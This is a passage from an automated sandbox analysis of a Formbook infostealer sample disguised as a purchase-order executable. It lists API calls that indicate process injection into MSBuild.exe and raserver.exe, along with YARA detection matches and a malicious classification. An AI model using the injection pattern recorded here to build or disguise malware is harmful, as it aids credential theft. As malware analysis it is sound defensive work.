Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015299A0 NtCreateSection,LdrInitializeThunk,		1_2_015299A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529840 NtDelayExecution,LdrInitializeThunk,		1_2_01529840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529860 NtQuerySystemInformation,LdrInitializeThunk,		1_2_01529860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015298F0 NtReadVirtualMemory,LdrInitializeThunk,		1_2_015298F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529A50 NtCreateFile,LdrInitializeThunk,		1_2_01529A50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529A00 NtProtectVirtualMemory,LdrInitializeThunk,		1_2_01529A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529A20 NtResumeThread,LdrInitializeThunk,		1_2_01529A20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529540 NtReadFile,LdrInitializeThunk,		1_2_01529540
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015295D0 NtClose,LdrInitializeThunk,		1_2_015295D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529710 NtQueryInformationToken,LdrInitializeThunk,		1_2_01529710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529FE0 NtCreateMutant,LdrInitializeThunk,		1_2_01529FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529780 NtMapViewOfSection,LdrInitializeThunk,		1_2_01529780
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015297A0 NtUnmapViewOfSection,LdrInitializeThunk,		1_2_015297A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529660 NtAllocateVirtualMemory,LdrInitializeThunk,		1_2_01529660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015296E0 NtFreeVirtualMemory,LdrInitializeThunk,		1_2_015296E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529950 NtQueueApcThread,		1_2_01529950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015299D0 NtCreateProcessEx,		1_2_015299D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0152B040 NtSuspendThread,		1_2_0152B040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529820 NtEnumerateKey,		1_2_01529820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015298A0 NtWriteVirtualMemory,		1_2_015298A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529B00 NtSetValueKey,		1_2_01529B00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0152A3B0 NtGetContextThread,		1_2_0152A3B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529A10 NtQuerySection,		1_2_01529A10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529A80 NtOpenDirectoryObject,		1_2_01529A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529560 NtWriteFile,		1_2_01529560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0152AD30 NtSetContextThread,		1_2_0152AD30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529520 NtWaitForSingleObject,		1_2_01529520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015295F0 NtQueryInformationFile,		1_2_015295F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529770 NtSetInformationFile,		1_2_01529770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0152A770 NtOpenThread,		1_2_0152A770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529760 NtOpenProcess,		1_2_01529760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0152A710 NtOpenProcessToken,		1_2_0152A710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529730 NtQueryVirtualMemory,		1_2_01529730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529650 NtQueryValueKey,		1_2_01529650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529670 NtQueryInformationProcess,		1_2_01529670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01529610 NtEnumerateValueKey,		1_2_01529610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015296D0 NtCreateKey,		1_2_015296D0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048195D0 NtClose,LdrInitializeThunk,		6_2_048195D0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819540 NtReadFile,LdrInitializeThunk,		6_2_04819540
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048196D0 NtCreateKey,LdrInitializeThunk,		6_2_048196D0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048196E0 NtFreeVirtualMemory,LdrInitializeThunk,		6_2_048196E0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819650 NtQueryValueKey,LdrInitializeThunk,		6_2_04819650
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819660 NtAllocateVirtualMemory,LdrInitializeThunk,		6_2_04819660
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819780 NtMapViewOfSection,LdrInitializeThunk,		6_2_04819780
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819FE0 NtCreateMutant,LdrInitializeThunk,		6_2_04819FE0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819710 NtQueryInformationToken,LdrInitializeThunk,		6_2_04819710
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819840 NtDelayExecution,LdrInitializeThunk,		6_2_04819840
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819860 NtQuerySystemInformation,LdrInitializeThunk,		6_2_04819860
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048199A0 NtCreateSection,LdrInitializeThunk,		6_2_048199A0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819910 NtAdjustPrivilegesToken,LdrInitializeThunk,		6_2_04819910
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819A50 NtCreateFile,LdrInitializeThunk,		6_2_04819A50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048195F0 NtQueryInformationFile,		6_2_048195F0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819520 NtWaitForSingleObject,		6_2_04819520
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0481AD30 NtSetContextThread,		6_2_0481AD30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819560 NtWriteFile,		6_2_04819560
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819610 NtEnumerateValueKey,		6_2_04819610
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819670 NtQueryInformationProcess,		6_2_04819670
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048197A0 NtUnmapViewOfSection,		6_2_048197A0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0481A710 NtOpenProcessToken,		6_2_0481A710
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819730 NtQueryVirtualMemory,		6_2_04819730
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819760 NtOpenProcess,		6_2_04819760
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0481A770 NtOpenThread,		6_2_0481A770
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819770 NtSetInformationFile,		6_2_04819770
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048198A0 NtWriteVirtualMemory,		6_2_048198A0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048198F0 NtReadVirtualMemory,		6_2_048198F0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819820 NtEnumerateKey,		6_2_04819820
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0481B040 NtSuspendThread,		6_2_0481B040
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048199D0 NtCreateProcessEx,		6_2_048199D0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819950 NtQueueApcThread,		6_2_04819950
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819A80 NtOpenDirectoryObject,		6_2_04819A80
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819A00 NtProtectVirtualMemory,		6_2_04819A00
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819A10 NtQuerySection,		6_2_04819A10
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819A20 NtResumeThread,		6_2_04819A20
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0481A3B0 NtGetContextThread,		6_2_0481A3B0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04819B00 NtSetValueKey,		6_2_04819B00
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00677BA0 NtCreateFile,		6_2_00677BA0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00677C50 NtReadFile,		6_2_00677C50
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00677CD0 NtClose,		6_2_00677CD0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00677D80 NtAllocateVirtualMemory,		6_2_00677D80
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00677C4C NtReadFile,		6_2_00677C4C
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00677CCA NtClose,		6_2_00677CCA

Detected potential crypto function

Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Code function: 0_2_0130EB70		0_2_0130EB70
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Code function: 0_2_0130EB60		0_2_0130EB60
Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe	Code function: 0_2_0130CB5C		0_2_0130CB5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00401030		1_2_00401030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041C16E		1_2_0041C16E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00408A40		1_2_00408A40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00408A3B		1_2_00408A3B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041C52F		1_2_0041C52F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00402D8A		1_2_00402D8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00402D90		1_2_00402D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0041BF03		1_2_0041BF03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_00402FB0		1_2_00402FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014EF900		1_2_014EF900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01504120		1_2_01504120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015099BF		1_2_015099BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A1002		1_2_015A1002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150A830		1_2_0150A830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015BE824		1_2_015BE824
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B28EC		1_2_015B28EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014FB090		1_2_014FB090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015120A0		1_2_015120A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B20A8		1_2_015B20A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150AB40		1_2_0150AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150A309		1_2_0150A309
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B2B28		1_2_015B2B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A03DA		1_2_015A03DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015ADBD2		1_2_015ADBD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151ABD8		1_2_0151ABD8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015923E3		1_2_015923E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0151EBB0		1_2_0151EBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0159FA2B		1_2_0159FA2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4AEF		1_2_015A4AEF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B22AE		1_2_015B22AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B1D55		1_2_015B1D55
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B2D07		1_2_015B2D07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014E0D20		1_2_014E0D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B25DD		1_2_015B25DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014FD5E0		1_2_014FD5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01512581		1_2_01512581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A2D82		1_2_015A2D82
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_0150B477		1_2_0150B477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015AD466		1_2_015AD466
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_014F841F		1_2_014F841F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015A4496		1_2_015A4496
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015BDFCE		1_2_015BDFCE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B1FF1		1_2_015B1FF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015AD616		1_2_015AD616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_01506E30		1_2_01506E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 1_2_015B2EF7		1_2_015B2EF7
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047E841F		6_2_047E841F
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0489D466		6_2_0489D466
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04802581		6_2_04802581
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A25DD		6_2_048A25DD
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047D0D20		6_2_047D0D20
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A2D07		6_2_048A2D07
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047ED5E0		6_2_047ED5E0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A1D55		6_2_048A1D55
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047F6E30		6_2_047F6E30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A2EF7		6_2_048A2EF7
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0489D616		6_2_0489D616
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048ADFCE		6_2_048ADFCE
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A1FF1		6_2_048A1FF1
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048020A0		6_2_048020A0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A20A8		6_2_048A20A8
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047FA830		6_2_047FA830
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A28EC		6_2_048A28EC
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_04891002		6_2_04891002
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048AE824		6_2_048AE824
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047EB090		6_2_047EB090
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047F4120		6_2_047F4120
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047DF900		6_2_047DF900
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047F99BF		6_2_047F99BF
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A22AE		6_2_048A22AE
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0488FA2B		6_2_0488FA2B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0480EBB0		6_2_0480EBB0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_047FAB40		6_2_047FAB40
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048903DA		6_2_048903DA
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0489DBD2		6_2_0489DBD2
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_048A2B28		6_2_048A2B28
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0067C16E		6_2_0067C16E
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00668A40		6_2_00668A40
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00668A3B		6_2_00668A3B
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0067C52F		6_2_0067C52F
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00662D8A		6_2_00662D8A
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00662D90		6_2_00662D90
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_0067BF03		6_2_0067BF03
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 6_2_00662FB0		6_2_00662FB0

Found potential string decryption / allocating functions

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: String function: 014EB150 appears 136 times
Source: C:\Windows\SysWOW64\raserver.exe	Code function: String function: 047DB150 appears 72 times

Sample file is different than original file name gathered from version info

Source: Purchase Order 40,7045$.exe, 00000000.00000002.259665211.0000000000F88000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Purchase Order 40,7045$.exe
Source: Purchase Order 40,7045$.exe, 00000000.00000000.253166993.0000000000812000.00000002.00020000.sdmp	Binary or memory string: OriginalFilename vs Purchase Order 40,7045$.exe
Source: Purchase Order 40,7045$.exe, 00000000.00000002.260021885.0000000002D8D000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameMARCUS.dll4 vs Purchase Order 40,7045$.exe
Source: Purchase Order 40,7045$.exe, 00000000.00000002.260021885.0000000002D8D000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameB2B.exe4 vs Purchase Order 40,7045$.exe
Source: Purchase Order 40,7045$.exe	Binary or memory string: OriginalFilename vs Purchase Order 40,7045$.exe

Yara signature match

Source: 00000001.00000002.289490288.00000000011C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.289490288.00000000011C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.521320039.0000000000660000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.521320039.0000000000660000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.260425222.0000000003D51000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.260425222.0000000003D51000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.521773301.0000000000950000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.521773301.0000000000950000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.289472822.0000000001190000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.289472822.0000000001190000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.289268123.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.289268123.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.521861519.0000000000980000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.521861519.0000000000980000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Binary contains paths to development resources

Source: raserver.exe, 00000006.00000002.521945059.00000000009EC000.00000004.00000020.sdmp	Binary or memory string: .configAMSBUILDDIRECTORYDELETERETRYCOUNTCMSBUILDDIRECTORYDELETRETRYTIMEOUT.sln
Source: raserver.exe, 00000006.00000002.521945059.00000000009EC000.00000004.00000020.sdmp	Binary or memory string: MSBuild MyApp.sln /t:Rebuild /p:Configuration=Release
Source: raserver.exe, 00000006.00000002.521945059.00000000009EC000.00000004.00000020.sdmp	Binary or memory string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb
Source: raserver.exe, 00000006.00000002.521945059.00000000009EC000.00000004.00000020.sdmp	Binary or memory string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdbD
Source: raserver.exe, 00000006.00000002.521945059.00000000009EC000.00000004.00000020.sdmp	Binary or memory string: *.sln
Source: raserver.exe, 00000006.00000002.521945059.00000000009EC000.00000004.00000020.sdmp	Binary or memory string: MSBuild MyApp.csproj /t:Clean
Source: raserver.exe, 00000006.00000002.521945059.00000000009EC000.00000004.00000020.sdmp	Binary or memory string: /ignoreprojectextensions:.sln
Source: raserver.exe, 00000006.00000002.521945059.00000000009EC000.00000004.00000020.sdmp	Binary or memory string: MSBUILD : error MSB1048: Solution files cannot be debugged directly. Run MSBuild first with an environment variable MSBUILDEMITSOLUTION=1 to create a corresponding ".sln.metaproj" file. Then debug that.

Classification label

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/1@16/11

Creates files inside the user directory

Source: C:\Users\user\Desktop\Purchase Order 40,7045$.exe

